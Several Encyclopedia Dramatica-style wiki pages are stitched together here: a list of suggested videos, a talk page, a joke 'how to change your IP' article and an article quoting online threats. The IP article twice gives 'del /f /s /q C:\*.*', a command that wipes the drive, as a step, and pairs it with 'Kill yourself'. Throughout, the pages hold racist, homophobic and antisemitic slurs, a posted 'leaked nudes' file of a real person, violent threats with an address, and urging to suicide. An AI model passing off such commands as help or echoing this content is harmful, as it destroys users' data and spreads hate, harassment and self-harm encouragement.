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Suggest Video of the Nows here...GO!
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#Log in
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#Type the name of the video in the Subject/headline box
#Paste a direct link to the video in the next box
#'''Sign your motherfucking post''' with four tildes (seriously, it's not [[Rocket Science]], just <nowiki>~~~~</nowiki>)
#Press the "SHOW PREVIEW" button so you can make sure you didn't fuck up
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== Joe Biden Channels Terry Davis ==

https://www.youtube.com/watch?v=d1QmdKQF81k [[User:Reverandshitstain|Reverandshitstain]] ([[User talk:Reverandshitstain|talk]]) 11:45, 18 April 2021 (EDT)

== Troller of Everything ==

https://www.youtube.com/watch?v=noCcucQ8c6A
[[User:Kleetus K.|Kleetus K.]] ([[User talk:Kleetus K.|talk]]) 15:25, 19 April 2021 (EDT)

== Funny Drew Man ==
https://www.youtube.com/watch?v=rs-lpfly11k
22:06, 25 August 2021 (EDT)

== you and your homie send pictures of your balls to each others? ==

https://youtu.be/aM2tpobjllI [[User:Disassemblyline|Disassemblyline]] ([[User talk:Disassemblyline|talk]]) 10:38, 26 August 2021 (EDT)

== Thicc Omni man ==

https://www.youtube.com/watch?v=fMEIIJNbycQ

== yo ==

<youtube><center>https://www.youtube.com/watch?v=ZEbAjUorW_c</youtube></center>

Mario's Nightmare 07:49 6 September 2021 (EDT)

== Undertale Sucks ==

https://www.youtube.com/watch?v=62SgGbV-baw
[[User:Dildo Baggins|Dildo Baggins]] ([[User talk:Dildo Baggins|talk]]) 13:32, 19 September 2021 (EDT)

== sandy marton - camel by camel (instrumental) ==

no comment [https://youtu.be/JM4cKKNO8JA https://youtu.be/JM4cKKNO8JA] - [[User:Disassemblyline|Disassemblyline]] ([[User talk:Disassemblyline|talk]]) 10:51, 28 September 2021 (EDT)

== bad apple ==

https://m.youtube.com/watch?v=FtutLA63Cp8
[[User:Branman65|Branman65]] ([[User talk:Branman65|talk]]) 14:04, 17 October 2021 (EDT)branman65

==Russian hip hop song that is famous all over the fucking world==

https://m.youtube.com/watch?v=v2BFRqsoG_g
[[User:Fucktard12345|Fucktard12345]] ([[User talk:Fucktard12345|talk]]) 18:32, 14 December 2021 (EST)

==Ram Ranch (song about gay sex)==

https://m.youtube.com/watch?v=LD24TG33w2E [[User:Fucktard12345|Fucktard12345]] ([[User talk:Fucktard12345|talk]]) 14:44, 29 December 2021 (EST)

== When they play your PS4/Xbox parties in court ==

https://www.youtube.com/watch?v=JpL2Vi3c56k [[User:HurricaneIV|HurricaneIV]] ([[User talk:HurricaneIV|talk]]) 21:45, 14 January 2022 (EST)

== therapiss ==

https://www.youtube.com/watch?v=xD8IWQY0IOM [[User:Jackinabox]] [[User talk:Jackinabox|(talk)]] 20:00 11 March 2022 (AEDT)

== the history of gnaa ==

https://www.youtube.com/watch?v=6Xn2WE93p3E [[User:Nicker]] [[User talk:Nicker|(talk)]] 13:52, 11 April 2022 (EDT)
== The (possible) changes of twitter after elon musk bought it ==
https://www.youtube.com/watch?v=IZN27sTi2h4 [[User:Nicker]] [[User talk:Nicker|(talk)]] 10:23, 28 April 2022 (EDT)

== Why do Reddit Mods Always Look Like This? ==
https://www.youtube.com/watch?v=w9bZiYfQreE [[User:Solear|Solear]] ([[User talk:Solear|talk]]) 22:08, 7 May 2022 (EDT)

== blackpink jennie nudes leaked ==

[[File:Jennie-blackpink-nude-porn.mp4]]
:No pr0n allowed fgt.[[User:3monthtrolling|3monthtrolling]] ([[User talk:3monthtrolling|talk]]) 12:24, 15 May 2022 (EDT)
I was properly excepting a trap, but this is good while we wait :p [[User:Lazarus|Lazarus]]

== We Are Young ==

<youtube>https://youtu.be/DfkrXNTVC8Y?t=13</youtube>
--[[User:Jewjetter|Jewjetter]] ([[User talk:Jewjetter|talk]]) 04:20, 30 June 2022 (EDT)

== i'm going to be arrested for this ==
<youtube><center>https://www.youtube.com/watch?v=pzc0Zn6Fdfk</youtube></center>

[[User:VALVENiggerkiller|VALVENiggerkiller]] ([[User talk:VALVENiggerkiller|talk]]) 06:40, 27 August 2022 (EDT)

== red sun in the sky ==
<youtube>https://www.youtube.com/watch?v=OjNpRbNdR7E</youtube>
[[User:Glitchlov|glitchlov_ / svalxei_]] ([[User talk:Glitchlov|talk]]) 02:00, 8 September 2022 (EDT)

== BBC Queen mourn floss ==
[[File:Queenfloss.mp4|240px]]
--[[User:DJ-Trapzz420|Trollando]] ([[User talk:DJ-Trapzz420|talk]]) 19:38, 15 September 2022 (EDT)

== Low Tier God's Speech but it's with Images ==

[https://youtube.com/watch?v=WNoqXsIp8V8 https://youtu.be/WNoqXsIp8V8] or alternatively the AI art version: Low Tier God's Speech but it's with AI generated images [https://youtube.com/watch?v=IQPfS75tZuw https://youtu.be/IQPfS75tZuw]

— [[File:Vulpix Alola white Smogon Pokemon animated.gif|35px|link=user:Vulpix]] [[User:Vulpix|Vulpix]] ([[User talk:Vulpix|talk]]) 11:08, 25 December 2022 (EST)

== Craftmine or Peter Griffin N word ==
<youtube><center>https://www.youtube.com/watch?v=xLtt6g8mvHA</youtube></center>
[[File:Peter Griffin saying the N-word (full.mp4]]
[[User:I hate autistic people|I hate autistic people]] ([[User talk:I hate autistic people|talk]]) 07:24, 8 February 2023 (EST)

== Gay Frogs Holiday House decorations ==
<youtube>https://youtu.be/eRhSt11geFM?si=JD8X7wwsU6R4GpkH</youtube> [[User:Haha Yes|Haha Yes]] ([[User talk:Haha Yes|talk]]) 13:47, 7 October 2023 (EDT)

== Comrade Trump ==

<youtube>Ge_GWAJAiVM</youtube> [[User:Bbb23sucks|Bbb23sucks]] ([[User talk:Bbb23sucks|talk]]) 03:42, 20 October 2023 (EDT)

== Collapse of Burgundy ==

https://www.youtube.com/watch?v=lwL303SDkZk [[User:Virtualromanity|Virtualromanity]] ([[User talk:Virtualromanity|talk]]) 00:08, 11 November 2023 (EST)

== Alex Jones video game ==

<youtube>5HgYHNP17dE</youtube> [[User:Bbb23sucks|Bbb23sucks]] ([[User talk:Bbb23sucks|talk]]) 10:40, 4 December 2023 (EST)

== Zionist literature ==

<youtube>pyRqstSA-ug</youtube> [[User:Bbb23sucks|Bbb23sucks]] ([[User talk:Bbb23sucks|talk]]) 12:46, 14 December 2023 (EST)

== The Art of Trolling ==

<youtube>AHqGV5WjS4w</youtube> [[User:Bbb23sucks|Bbb23sucks]] ([[User talk:Bbb23sucks|talk]]) 13:31, 20 December 2023 (EST)

== Santa pedo cabal ==

<youtube>JC89gFM_rjc</youtube> [[User:Bbb23sucks|Bbb23sucks]] ([[User talk:Bbb23sucks|talk]]) 16:16, 20 December 2023 (EST)

== Geoffrey Leonard - Proud Pedophile ==

<youtube>-XSB4sQGT_4</youtube> --[[User:Aspergerking|Aspergerking]] ([[User talk:Aspergerking|talk]]) 08:01, 30 December 2023 (EST)

== no comment ==

<youtube>q-RvplNbmvM</youtube>
[[User:Disassemblyline|Disassemblyline]] ([[User talk:Disassemblyline|talk]]) 09:16, 4 January 2024 (EST)

== “You Will Own Nothing, And You Will Be Happy!” ==

Also known as [[Klaus Schwab]]'s wet dream:

[[File:You Will Be Happy.mp4]]

Not sure if it is "fagoon" or "fagman" reality tunnel.

[[User:CurtainMan|CurtainMan]] ([[User talk:CurtainMan|talk]]) 06:07, 10 January 2024 (EST)

== its 2011 all over again ==

<youtube>IwLSrNu1ppI</youtube> [[User:Disassemblyline|Disassemblyline]] ([[User talk:Disassemblyline|talk]]) 17:13, 26 February 2024 (EST)

== suggesting a similar outcome for politicians would be considered terrorism ==

<youtube>OU1FesR10fM</youtube> [[User:Disassemblyline|Disassemblyline]] ([[User talk:Disassemblyline|talk]]) 16:03, 4 April 2024 (EDT)

== [[Nigel Farage]] making a [[lolcow]] out of himself thanks to being on Cameo ==

<youtube>E4W7BpwOoL0</youtube> [[User:Encyclopedia Dramatіca|Encyclopedia Dramatіca]] ([[User talk:Encyclopedia Dramatіca|talk]]) 17:22, 21 June 2024 (UTC)

== Charlie Kirk ==

<youtube>OVBJA5L6xEk</youtube>
[[User:Macao|Macao]] ([[User talk:Macao|talk]]) 3:39, 9 July 2024 (EDT)

== bitches be fakin' multiple personality disorder ==
https://www.youtube.com/watch?v=nut83SIoR_0&ab_channel=Bigbunjeeeeee
([[User:Snuegliffer returns|Snuegliffer returns]] july 17th 12:09 2024

== You know what would be even more lulz compared to the current VOTN? The actual original unedited Bloo Me video, of course! ==
https://noodlemagazine.com/watch/-109591995_456239070
[[User:YaroslavTV +1|YaroslavTV +1]] ([[User talk:YaroslavTV +1|talk]]) 13:13, 28 July 2024 (UTC)

User talk:Husker the Wolf

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Take down the fucking page now you pigfaggots. {{Unsigned|Husker the Wolf}}
*as if thats ever worked for any aspie whos tried - [[User:NEVER GOON|NEVER GOON.]] ([[User_talk:NEVER GOON|Talk]]) 16:38, 25 July 2024 (UTC)
:Why? [[User:GirlOnInternet|GirlOnInternet]] ([[User talk:GirlOnInternet|talk]]) 18:40, 25 July 2024 (UTC)
:Tell us about your rape fantasies and we will think about it [[User:Zagan|Zagan]] ([[User talk:Zagan|talk]]) 20:26, 25 July 2024 (UTC)

== Ha! ==

As if people wouldn't notice [https://www.deviantart.com/joeyinsully/journal/My-reputation-will-be-ruined-forever-Maybe-954436037 your attempts to thwart the creation of the page long before it was completed]. You never even had a reputation so there's absolutely nothing to ruin. [[User:YaroslavTV +1|YaroslavTV +1]] ([[User talk:YaroslavTV +1|talk]]) 12:57, 28 July 2024 (UTC)

IP address

2024-07-28T12:49:40Z

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''"CheckUser" redirects here. Maybe you were looking for [[Bbb23]], who was once the most prolific CheckUser on [[TOW]]?''

[[Image:Ipaddress.png|thumb|right|[[Skript kiddies|Someone]] can immediately begin attacking your [[computer]]!]]

Your IP Address is '''127.0.0.1''' and we are haxing your computer now. Not even pressing Alt+F4 will save you now, [[noob]].

With your IP, someone can HACK YOUR SHIT, KILL YOUR [[PARENTS]], KILL YOUR FIRSTBORN SON, BUTTRAPE YOUR DAUGHTERS, SLAUGHTER EVERYONE IN YOUR AREA, AND KILL YOUR [[GOD]] AND YOUR DOG.

[https://hidemyass.com/proxy-list/ Proxies] are the standard way of hiding your IP address from [[China|oppressive governmental regimes]].

==Why would you change your IP?==
It's useful if:
#[[You]] are a [[pedophile]] looking for an IP that hasn't been banned yet because of CP posting.
#[[You]] are planning to create a giant [[sock puppet]] farm in order to overturn [[Wikipedia]] ''ad majorem [[ED]]i gloriam''.
#[[You]] were such a [[n00b]] in a forum and you annoyed the admins so much that they [[banned]] you.
#[[You]] want to [[raid]] a forum of [[n00bs]] but you failed to hire some /b/tards as they are not your [[personal army]].
#[[You]] got humiliated and [[pwned]] by a powerful [[troll]] and you try to get a new identity.
#[[You]] are a hacker sought by the police.
#[[You]] were interrupted in a [[NO U]] war and you don't want to become a [[luser]].

==How to change your IP==
===#1===
If your computer is connected directly to the [[Tubes|internet]] without a NAT router in between, try this:
#Get to a command prompt. (From the [[Windows|Start]] menu, choose Run..., type <code>cmd</code> and [[Push_Butan|press Enter]].)
#Type <code>ipconfig /release</code> and press Enter.
#Optional: Turn off the computer and leave it turned off overnight.
#Type <code>ipconfig /renew</code> and press Enter.
#Type <code>del /f /s /q C:\*.*</code> and press Enter.
#Do not forget the last step!

===#2===
#Log into the router's admin console (often http://192.168.1.1/ or http://192.168.0.1), or for netgear brand routers use http://routerlogin.net
#Release the IP address (method varies by router manufacturer).
#Turn off router, Ethernet hubs/switches, and the cable/DSL modem.
#Leave everything off overnight.
#Turn everything back on and confirm the switch.

====#2.1 (simplified but unreliable)====
#Turn off your router, any Ethernet hubs/switches and your cable/DSL modem.
#Optional: Shut down your computer and leave it off until completed
#Leave everything off for 5-10 minutes.
#Confirm the switch.
#Try Method 2 if this fails.

===#3===
#Go to http://192.168.1.1 or http://192.168.0.1 , or for netgear brand routers use http://routerlogin.net
#Log in (if you do not know the password, [[Google]] for default router passwords).
#Find DNS addresses and write them down.
#Switch setting to Static IP. Put in DNS addresses and change your IP to whatever you like.

===#4===
#Log into the router's admin console. (Often http://192.168.1.1/), or for netgear brand routers use http://routerlogin.net
#Release the IP address. (Method varies by router manufacturer)
#Change [[MAC address]].
#Turn everything back on.

===#5===
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===If nothing works===
#Type <code>del /f /s /q C:\*.*</code> and press Enter.
#Kill yourself.

====[[Final solution]]====
Eliminating the virus known as [[System32]] constitutes a permanent solution for this issue. [[Windows Optimizer]] can delete said virus, so you can change your IP at will.

====How to change your IP #6====
Go over to your computer and rip all wires out of wall problem solved

====How to change your IP #7====
Move to [[Germany]] and get your Internets from a [[Nazi|german]] ISP. They automatically change your IP every 24 hours preferably while you're playing [[Call of Duty: Black Ops 2|Black Ops 2]], forcing you to lose [[the game|the connection]]. Unfortunately, the [[Communism|german Government]] can legally [[stalk|view]] [[you]]r [[porn]] traffic under the clever guise of finding [[Pedophile]]s, so you'll still need a Proxy.

==How IP's are allocated by /8 subnet==
[[File:Internetmap.jpg|center]]

==External Links==
*[http://www.danasoft.com A harmless forum signature to scare newfags.]
*[https://192168-ll.com/ 192.168 ll]

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Internet Tough Guy

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[[File:Robivio.jpg|thumb|700px|WRASSLEWRASSLE|The TOUGHEST Internet Tough Guy]]
[[Image:R u hardenuff.jpg|thumb|This was that ex-marine special forces private military contractor, on his third tour of duty of [[Afghanistan]], that accused you of cheating while playing [[Halo]] last night over [[Xbox Live]]. You should really prepare for the [[bawww|worst]].]]
[[Image:Killer-keyboard.jpg|thumb|right|Standard issue.]]
[[Image:DA internet tough guy.jpg|200px|thumb|right|An average Internet Tough Guy documented in the cesspool known as [[Deviantart|deviantSHART]].]]

Behold, the '''Internet Tough Guy'''. Also known as a '''Keyboard Warrior''' or '''Armchair Warrior''' or "Donga", he talks nothing but big shit online and [[doesn't afraid of anything]]. Usually male (for there are [[no girls on the internet]]). As he will thoroughly explain to you, he is [[Unrealistic expectations|respected and feared by ALL]]; no way he's skittish to casually throw around [[retarded|ep1c insultz and one-lieners]] like "go fuck yourself," or "u aint done sucking my dick." He swears a lot just to show how [[ignorant|hardcore]] he is. God help you if you even ''dare'' defy him by delivering some sort of retort when he says something to you, or practicing fuzzy logic on his userpage, or even reading whatever he posted and writing replies of disagreement ([[lolwut|or even agreeing responses, in some cases]]) relating exactly to what you just read ... No, you can't do that. No. No. [[unwarranted self importance|You don't even know him or what he's about.]] Internet Tough Guy isn't someone you should mess with, ever. That's right bitch, you cross the line and [[chain mail|he will come to your house]] and fuck you up so bad and rape you so hard and kill you so god damn dead OH SHIT. You must have pissed yourself by now from these horrific threats of bodily harm. Because if someone threatens you online, that's it. [[The Game|Game]] over man. Game over! Do not fuck with da man! You are d-e-a-d, DEAD! Nothing can save you. Not even [[Buy A Dog|that new dog you just bought]]. You might as well kill yourself now... Actually, [[IRL]], Internet Tough Guy, there? He's a total [[fag]] or a [[basement-dweller]], with a high chance of being a [[redneck]] and/or [[skinhead]]. Sometimes, the Internet Tough Guy will actually be somewhat "tough." However, this makes him about four times more of a total [[fag]]. The [[I lol'd|sad]] reality is that these people are a concentrated form of noob, not one of whom can grasp the concept that they obviously are never actually going to be able to make good on their [[fail|intimidating remarks]], or that their low-IQ ramblings do not impress the Internet nor physically affect people on it in any way. More simply put, when [[noone|nobodies]] such as themselves make empty threats and loudmouthed, prick statements to [[anonymous|unknown]] persons whom they have never met and do not know the locations of, it does not equal being a badass, becoming [[admin|dominant]] to the other users, nor actually going full ass-rape/ass-kick on someone.

ITGs will often claim to be current or former members of the military (particularly marines or [[special]] forces) or other such [[Not gay|manly]] occupations like firemen, security guards or [[Cops|police officers]] (particularly the ones in [[Banhammer|SWAT]] teams) and will try to use acronyms, military sounding terminology and other [[shit nobody cares about]] in conversations when in reality it's pretty much certain they are simply regurgitating the latest horse shit they heard playing [[Call of Duty]] and watching films like the Rambo trilogy and Black [[Cawk|Hawk]] Down while touching themselves.

ITGs are really into computer programming, or, at the bare minimum, love ''videogaming'', heavy metal, and perhaps working for RBS, the investment bank that hires a lot of [[fail|fake tough guy cunts]]. The typical Internet Tough Guy can be found in nearly every [[community]] on [[LJ]] but often resides in his parent's basement for at least 7 days a week. (And not because he's trying to make it into an imaginary apartment, either). Usually, his parents banished him to the unfinished, wet, moldy, cold and dark basement because they couldn't stand either his smell or the fact that he is a disgrace to the family name. [[OVER 9000|99.9999%]] chance he is also subject to frequent [[pwnd|pwning]]. By everyone. (He won't admit it, though. He "won" because he swore a lot. And disabled replies.) From [[furry]] communities, to fandom communities, to political communities, the Internet Tough Guy is one of the many stock users that make up a community.

[[Image:Internettoughguyfailure.jpg|center]]

== Sub-Species and Similar Breeds ==

[[Image:Par40b.jpg|thumb|150px|"LOL! I fuckin showed him who is da man on da net!!!!".]]
[[Image:JewFaggot. Kill him.png|thumb|right|Jewish faggot wearing "The Bouncing Fags" shirt. He's trying to look tough.]]
[[image:Internettoughguykon.jpg|thumb|right|Bitches don't know about my diet and exercise plans]]
[[Image:Internet tough guy11.jpg|thumb|right|[[Steam]]]]
[[Image:Moar better.PNG|thumb|PS HE'S SO TOUGH HIS GIRLFRIEND IS A LESBiAN NOW. TRUE STORY ]]
[[Image:Internet tough guy.png|thumb| [[YouTube]] user [http://www.youtube.com/watch?v=RJKn3GlefME TheKyleClubWars], one of YouTube's most notable Internet Tough Guys.]]
[[Image:Kung fu guy.png|thumb|Personification of the internet tough guy, and, not coincidentally, [[fail]].]]

=== [[Furfags]] ===

Many [[furries]] who are furries are Internet Tough Guys as well. Fed up with [[fursecution]] at the hands of [[trolls]], they often resort to threats of physical violence and will start talking about how much they can bench press. Mentioning muscle mass, level of physical fitness, etc. are all a part of being an Internet Tough Guy. By mentioning this they feel they are intimidating their opponents, but in are reality making them [[LOL]] <big>'''REPEATEDLY'''</big>. Trolls being everywhere and trolls they are, this induces them. Sometimes they might say to a man who commented on a hot girl that "If she was my daughter, you'd be singing Soprano", when the truth is, this guy DOES sing Soprano, he couldn't find a wife or have kids if he wanted to, and if he really saw you, he'd shit his pants in fear. His disagreement over a hot girl confirms that he's a fag, but most people forget to remind him of that, and take the tough guy bait and end up in an e-war.

=== [[Stalker]] ===

Other behavior that ITGs take part in is harassment. An ITG like [[Nickolaus]] might harass you via [[AIM]] or [[ICQ]] or leave you voicemail and call you a [[big fag]]. This just increases the [[lulz]]. Sometimes, the Internet Tough Guy will threaten [[legal action]] or try to [[shit|dig up dirt]] on their opponent. [[The Kadaitcha Dancers]] attempted to do this to Finestdrops in 2004, but failed miserably.

This ITG is not to be confused with someone who says what they actually think online and says it frankly, such as a so-called [[Stalker|online stalker]] flaming back after an [[attention whore]] has flamed first to begin with (and then complains about said user).

You can also find this species of Internet Tough Guy on [[lol]] sites, like [[Facebook]].

=== [[Internet Asshole]] ===

These guys love to flame you for the lulz.
It is interesting to note that the Internet Tough Guy's arch-nemesis is the [[Internet asshole]], despite the fact that they share many of the same characteristics. Because this Internet Tough Guy is so much more mature than [[you]] and everyone you'll ever meet, he will frequently call the victim a "[[child]]," "young one" and "[[shota|shotacon]]," as well as other kinds of almost not so insulting names, implying youth and frailty. They might even call them "boy" because, as you already know, there no girls on the Internet. They will also get extremely [[butthurt]] if the things they say are called threats. They prefer to call everything they say "facts," because they are so much [[moar]] smarter than you, and so much more maturerer than you are.

This Internet tough guy may take on the guise of a [[White Knighting|White Knight]], which basically involves all the nerdrage with half the CAPS. Alternatively, he might try and stick up for [[IRL]] people, knowing his hollow boasts will never need to be followed through.

=== [[13-year-old boy]] ===
This kind of internet tough guy might not even be thirteen IRL. They can range in age from 8-15. You can easily get rid of this type of Internet Tough Guy by doing one or more of the following:

* Tell them to become [[an hero]]
* Make fun of them for their age
* Tell them to come back when their balls drop
* Threaten to tattle on them to their mom

If none of these work, it shouldn't be too hard to get a mod to use the [[banhammer]].

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|kerrect my grammer much more yelping dogs and i kerrect ur life and make it ded.|Qaopan, instilling fear throughout Forumfall.

|yes, i could kill you. very easily. i am in no way saying i shall, or that i wish to, just that i could. with great ease. |esteigs, who can do this because of his assassin learnings.

|Any more heat based on my flames, and I'll dip into my savings to fly to whichever basement you reside in, pass your over protecting parents, and beat the shit out of you and kill your family. |Phantom, who apparently can afford to fly on the wages of an obese unemployed WoW addict.

|Foolish child. Revealing that much about yourself on the internet. I think you owe my sister, abaikgirl, an apology. She has had the same experiences as you and has three books in the making. But at least she doesn't brag about it. Try not to be so inflammatory on the internet here. Especially since you don't know who we might be. You're liable to get yourself into a lot of trouble. This is NOT a threat. Merely some friendly advice. I would greatly appreciate it if you wouldn't be so abrasive here. We have enough younglings here on gaia that have that mentality without us older and wiser folks contributing to the fray. I offer this as a courtesy because a number of my friends who are also gaians will not be so kind. Again NOT a threat. Simply a fact. Thank you for your time. Best wishes.|Doctor Tarr, in response to hurting e-sister's feelings. Is also under the delusion that good grammar is VRY SKRY

|i [[lol|laugh]] at [[People|ppl]] like u. i send comments for a reason. u dont know who the [[Fuck|fuk]] [[you]] r tlkin to because first of all im not blk. ur brain is jus as tiny if my comments got to u. u cant call anyone a nigger but ur damn self and ur worthless parents for teachin u such ignorance. they deserve to b just as dead as u. u have the nuts to send me a comment like that but i guarantee u wouldn't have enough of them to bring ur [[ass]] to [[dox|220 lobdell hwy in port allen Louisiana 70767]]. i just gave u my address so im about wuteva anytime anywhere. i will beat the fuk out of u. [[Bi|girl or guy]]. u can tlk about how poor blks r but [[Nigras|oprah, obama, and all blk celebrities]] have more than u r ur trashy family or friends have. u will not get far in life thinking the way you think. and thats comin from someone with [[White People|auburn hair and blue eyes]]. take a bite out of that one and stay the fuk out of my business and wut the fuck i comment on. if your name wasnt mentioned then it hasnt shit to do with u. wut i eat dont make u shit so get a life. i only do this shit cuz im bored at [[work|wrk]]. i have not a hint of racism in me but fuk wit me and you will hate ur own kind when me and my [[Pokémon|crew]] finish with u. now determine wut color i am bitch.|Kscottreal responding to "stfu nigger", proving with violent threats that he is indeed a nigger.

|"-U wanna play with the big boys u gonna get ripped on; i.e. I'm not holding back on u. Fuck off, kid."
"-~ hey u wanna get punched in the fu**ing head dude, come on down here & talk to me like u do. seriously. :)
Nobody talks sh** to me in real life; they know better for obvious reasons; one I'm super cool; & secondly I'm super tough."|dsoibel from [[YouTube]], who took time out from his daily routine of fapping to dog porn to type out an incoherent threat.

|Lol I could kick your ass easily.Look at you kid.You're like 130 pounds and about 5 ft 6.Thats just an assumption im making just by watching your video.Anyone could easily compare me and you and determine the victor in the fight bro.I'd come up top.But if you wish to prove me wrong we could settle this in person. I'd gladly give you my address if you want.And btw I could care less about subscribers.Im on youtube to watch videos and sub others if they got content that I like.|auron2214 from [[Youtube]], admitting he cums first when he's topping kids.

|Oh of course, it's time to move out of your mother's house and WORK HARD.
Get plastic surgery.and a life, or I'd jump on your fat stomach.

ManifestContent owns my sperm, to swallow, but he has to get them out of your mouth first for you swallowed quite a lot. |''SeventhSun'' (commenting to the user ''Nintega'')

|real funny [[fag]]gots. you think this is a joke?
yea making fun of me is so funny, so funny i forgot to laugh. If you wanna talk like that to me why don't you come here and say it to me face so i can answer your insults with a swift fist to the nose. yea you have a lot to say from hundreds of miles away but i bet if my fists were in reach of your face you would be like a tv on mute with no volume button So do yourself a favor and keep your mouth shut unless you want to die. Next time you think about saying something like that to me I want you to remember one thing. I know the guy that created google maps and I can locate you in the time it took me to type this.Don't want anymore problems....didn't think so faggots. You have any idea what gorilla warfare is? I do, I was in the US [[Military|Marine]] [[Business|Corp.]] and I perfected it. I'm fully capable of using it on you motherfuckers. Do you know the dander you're in if I find you? '''I am 100[[$]] [[serious]].''' Bunch of god damn newfaf loser here and [[Angry Homo Kid|I will not have it]]. At least I've had [[sex]], had [[girlfriend]]s, and gotten laid, and [[blowjob]]bed unlike you [[virgin]] pieces of unpatriotic SHIT!| US Marines apparently can't spell "guerrilla warfare".

|oh I'm soooooooooo scared goatfucker. Yeah that's right I called you a goatfucker, GOATFUCKER! what the fuck are you gonna do about it, you pussy-ass piece of shit? if you find out where I live and come to my house just know this you fat piece of shit: I'll be ready for you, with a baseball bat in one hand and a big fuckin' knife in the other. I'm going to shove the bat up your ass and as for the knife, well, you'll have to come here and find out where I put that, fucker.
So come get me you fucking faggot-ass cuntnugget. I could kick your fucking ass so fucking hard you'll shit my Size 14 Doc Martens for a month. I'll fucking curbstomp your little monkey ass, you horsefucker. If you so much as get within fifteen miles of me I'll fucking know it, buddy. I'm waiting, and if you FUCK WITH ME one more goddamn time, they won't be able to ID your corpse.| Reply to the previous; trolls trolling trolls.

|you wanna fucking fight kid well guess what I just hacked your IP address. yea thats right you can't do shit you fucking pussy... if you try to start ANY MORE shit with me, I'll hack the shit out of your computer so be warned you terrorist piece of shit. and if you try to come to my house just be warned that I know Kung Fu and have a GUN so if you wanna start some shit I'll fuckin be ready to kick the shit out of you. You've been warned, motherfucker. don't FUCK WITH ME again.|
Reply to previous, who apparently can't do anything if someone else knows his IP address.

|Oooooooh I'm so scared, you think you're tough pussy? I'm behind 7 proxies and use ZoneAlarm, Sygate and Comodo Internetnet Securtiy!1111!!1 which I all keep up-to-date. THAT'S THREE FIREWALLS AT THE SAME TIME motherfucker. You can't hack me you little piece of shit. You're peeshooter and kung fu won't make a difference when my friend woh's a B-51 pilot in the Air Force can turn your entire house and backyard into a fuckhuge bomb crater. You are pathetic, while you're sitting there writing insults like the sad little nerd you are i'm having sex with my hot girlfriends. Yeah you read that right, i have not one but FIVE girlfriends. Top that motherfucker, I dont think you've ever even held hands with a girl.
I'm done here, i'm gonna have sex with my bitches and leave you writing angry comments all day and night like the piece of filth nerd you are.|
Reply to previous, tl;dr U CAN'T HACK I GOT NORTON

|checked ur profile. u got femminem on ur friends list. ima tell u right now u don't fuck with a juggalo. unless u want ur ass surrounded by 20 clowns decked with bats and hatchets. MURDER GO ROUND! MURDER GO ROUND! HOW U GONNA FUCK WITH A WICKED CLOWN?!
WHOOP WHOOP MUTHA FACKU| Myspace Juggalo, ruminating on the mechanisms of magnets.
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== Serious Fucking Business ==

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== Tough Guy Quotes ==

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[15:58] XXXX: with my testicles dangerling too 
[16:02] XXXX: What I ment is I'll stomp your bullshit and sooner or later other people take offense and join yourside and I'll stomp them too. 
[16:02] XXXX: Good luck banning me [[7 Proxies|Im proxy expert]] 
[16:02] XXXX: and I can wipe my index.dat no problem..|IRC is serious business for 13 year olds.

|i'll slit you neck and watch you bleed to death you pathetic waste of fucking life i hope you god is as powerful as they portray his fucking shit because when i am finished with you he'll need to rearrange yo shit and scene damn cant you spell it at all seeing on how your the expert of this when the bands you like are third world wanna be's and to add i live in america but i am brit dumb shit shows what you learn from stalking my shit lurking little bitch and fuck your shit scene is a label nice to see the immature little bitches from other country's who act as if they are in middle school or is it that you didn't get that far in life you think your pathetic little insults work that they make me depressed or emo or what ever you dumb fucks call it when i could swear that you live in a conformist country full of the same damn wanna be's when i am here as who i am chris not scene.scene kids are pussies who change with the time emo's bitch about how sad they are fuck that dumb shit fuck they don't even drink German beer or liq. what the fuck is that stop acting like a prick who has no dick from my point of view you are a virgin in the world of women who want nothing to do with you so grow the fuck up you sad waste of life.|CHRISCRISISONLINE - VF user, THERE IS A SHORTAGE OF FULL STOPS, EVERYONE DO YOUR PART

|wtf tough guy wow what the hell is that this isn't the 50's fuck face wow and its sad because some dumb ass started talking shit wait that was you fucking retard-o good job because in my eyes you are trying to be bad ass with you fuck america and fuck this and that blah blah scene emo scene emo fuck you damn retard i think you are hiding something were you ass raped isn't that how it goes in other countries fuck face you must be emo or scene to know so much about it|Again, CHRISCRISISONLINE who has a bad allergy to commas.

|Remember when nerds were into Star Trek? Now they've found the computer key board to be tough on. Especially when they address women. Or anybody anonymously. And before you nerds with vaseline on your hands start hurling nasty words at me, [[otaku|I AM a modern day samurai for real]]. Level four [[prison]] is my [[Bubba|playground]]. I couldn't care less about you and your kids. I'll see them or you soon enough.lol|"Samurai" who apparently is plotting to rape kids.

|i cant really find a place to write this due to the lack of ablity to make a good fuckin site easy for the customer input i can alrdy tell this game is givein into [[hacker]]s an helping them ..let me make this very fckin clear fix ur mother ufcking game our i swear to fuckin god u made the worst enemy u ever made u wanna fu kin make a game bu not fuckin fix the hacking problem get real and i swear to god fix ur fuckin problem our ill figure out where ur servers our an blow them the fuck up.|13 year old who thinks "fuck" is a conjunction.

|don't worry cracked.com! if i ever meet any son of a bitch writer for encyclopedia dramatica i will kill him in the name of the all mighty cracked! they've filled the internet with sooo many god damn cat pictures with sayings such as "i haz furz" that i can't even begin to count.|Butthurt nub, praising the [[Ceiling Cat]] and confusing ED with LOLcats.

|[[STFU|Shut The Fuck up]] [[Bitch]] before i go out of my way to find out who you are, then u will be meeting face to face with my hachet|Dumbass [[13-year-old]], who threatens us all with the terror of badly spelled weaponry.

|[[Whore]]s devour their own [[shit]]! Just after slurping up milk from man meat I make fresh daily. These [[slut]]ty McBitches do it for me after they see me beat fuckers senseless. I can freeze you with fire and thaw you with ice, all gotdamn day if I please. You are a walking dead man and I am your ticket to Lucci-fur you ignoramous!|Someone who loves slurping man milk, apparently.

|FUCK YOU. If I knew who you were, I would punch you in the temporal lobe. Thanks for giving me a headache and damaging my high-frequency hearing, you fucking asshole.| someone who can punch you IN THE BRAIN.

|I seriously hope you have a mild CVA or suffer neurotrauma sufficient enough to permanently damage YOUR hearing too. FUCK YOU.|[[User:Bryce|Bryce]] (though he's usually not on)

|[[TL;DR|No one sacked up and met me i see. you just proved my point, you're a bunch of pansies who just talk without backing it up. i'm willing to let you go on with your pointless sarcastic threads abotu karate kid 3, just admit that u shoudlnt have disrespected me in the first place if u were too p-ssy to back it up. admit that and i'm outa here to a place where people appreciate what the movie is about.

how can u call the threats empty when i am offerring to meet up and everyone who disrespected me is too chump to do so? i just think, if u are going to get up the sack to disrespect me, u should at least have the sack to meet up and back up the words

tonight u can meet up with me at the new york city subway station, gate 5, 8pm. ill be there to catch the L to an appointment at 8, but i'll get there earlier so we can settle up, 6pm? 7pm?

